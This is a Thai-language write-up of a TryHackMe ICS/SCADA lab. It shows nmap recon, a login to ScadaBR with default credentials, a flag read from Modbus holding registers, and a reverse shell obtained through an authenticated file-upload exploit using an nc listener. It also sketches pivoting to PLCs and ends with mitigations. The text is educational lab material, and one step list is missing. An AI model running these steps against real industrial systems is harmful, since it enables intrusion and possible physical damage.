[THM] Brr — ScadaBR writeup

2 min readTH

Read in English

Recon

เริ่มจาก nmap ยิงใส่เครื่องเป้าหมาย เจอพอร์ตเปิดตามนี้:

PORT       STATE  SERVICE22/tcp     open   ssh80/tcp     open   http5901/tcp   open   vnc-18080/tcp   open   http-proxy

พอร์ต 8080 น่าสนใจ เข้าไปที่ http://10.48.153.2:8080/ เจอหน้า login ของ ScadaBR ซึ่งเป็นซอฟต์แวร์ SCADA แบบ open-source ที่ใช้ monitor ระบบ OT/ICS

ลอง default credential admin:admin — เข้าได้เลย


ดู Data Source — Modbus

พอเข้าไปได้ก็เจอ data point ชื่อ "secret" ที่สถานะเป็น disabled อยู่ ซึ่งเป็นสัญญาณว่าระบบ SCADA ตัวนี้ต่ออยู่กับ PLC ใน network วงใน ผ่าน Modbus TCP พอร์ต 5020

เข้าไปที่ http://10.48.153.2:8080/ScadaBR/data_sources.shtm เปิด data source ขึ้นมา แล้วกด edit เพื่อดู config

data source "secret" ตั้งค่าไว้ที่ host: plc พอร์ต 5020 บน TCP — ยืนยันว่ามี PLC นั่งอยู่ใน network วงใน


อ่านค่าจาก Modbus Holding Register

ในหน้า Modbus read data เปลี่ยน register range จาก Coil status เป็น Holding register ตั้ง offset เป็น 0 จำนวน register เป็น 30 แล้วกด "Read data"

ค่าที่ได้กลับมาเป็น hex:

0  ==> 00541  ==> 00482  ==> 004d3  ==> 007b4  ==> 006d5  ==> 006f6  ==> 00647  ==> 00628  ==> 00759  ==> 007310 ==> 005f11 ==> 006812 ==> 006913 ==> 006414 ==> 007d

โยน hex เข้า CyberChef ใช้ "From Hex" ก็ได้ flag ออกมา:

THM{modbus_hid}

PLC เก็บข้อมูลไว้ใน holding register เป็น ASCII hex ดิบๆ ไม่เข้ารหัส ไม่ปิดบังอะไรเลย ข้อมูลอ่านได้ตรงๆ นั่งอยู่บน industrial controller

มองในมุม Red Team จริง

ใน engagement จริง การได้ shell บนเครื่อง SCADA เท่ากับเปิดประตู pivot เข้า OT network ไปคุยกับ PLC ได้โดยตรง — ส่ง Modbus write ไปพลิก coil หรือเซ็ตค่า register ที่อาจไปสั่ง actuator จริงในโลกจริง

นี่คือรูปแบบการโจมตีแบบเดียวกับ Stuxnet และเหตุการณ์ระบบไฟฟ้าในยูเครน ส่วนที่น่ากลัวไม่ใช่แค่ code execution แต่คือสิ่งที่อยู่ปลายทางอีกฝั่งของ Modbus connection นั่นแหละ

จริงๆ ผมไปหาข้อมูล attack path แบบนี้ตอนทำ Alchemy Pro Lab ของ HackTheBox เลยเอาแนวคิดมาใช้กับข้อนี้ได้ตรงๆ


Exploitation — ScadaBR Arbitrary File Upload (EDB-ID 49735)

ScadaBR 1.0 มีช่องโหว่ Arbitrary File Upload (Authenticated) ที่ขึ้นอยู่บน Exploit-DB อยู่แล้ว และเพราะเรามี credential ที่ใช้ได้อยู่ในมือ การ exploit จึงตรงไปตรงมา

searchsploit scadabr# ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (1)# ScadaBR 1.0 - Arbitrary File Upload (Authenticated) (2)

Terminal 1 — ตั้ง listener:

rlwrap nc -lvnp 4444

Terminal 2 — ยิง exploit:

python 49735_clean.py 10.48.153.2 8080 admin admin  4444

ตัว exploit ทำสามอย่าง:

ผลลัพธ์: ได้ shell เป็น tomcat7 บนเครื่อง SCADA


Mitigation

สาเหตุหลักสามข้อที่ทำให้โจมตีสำเร็จ:

  1. Default credentialsadmin:admin ควรถูกบังคับให้เปลี่ยนตั้งแต่ login ครั้งแรก ควรมี password policy ที่แข็งแรงและเปิด MFA ถ้าทำได้ ระบบ SCADA ที่ออกอินเทอร์เน็ตแล้วยังใช้ default credential ยังพบได้บ่อยมากอย่างน่าเสียดาย

  2. Monitoring — ไม่มี alert เวลามี login จาก IP แปลกๆ หรือมีการเข้าถึงข้อมูลผิดปกติ แค่มี SIEM หรือไล่อ่าน log เบื้องต้นก็จับได้แล้ว สำหรับ OT ควรพิจารณาทำ anomaly detection บน Modbus traffic ด้วย

  3. Segmentation — เครื่อง SCADA เข้าถึงได้จากนอก OT network โดยไม่มีการแบ่งวงเลย การแยก OT ออกจาก IT คือ security control พื้นฐานที่สุดของ ICS ระบบ SCADA ไม่ควรออกอินเทอร์เน็ตตรงๆ และควรคุมการเข้าถึงผ่าน jump host หรือ industrial DMZ เท่านั้น


TryHackMe | ICS/SCADA Challenge | munpao59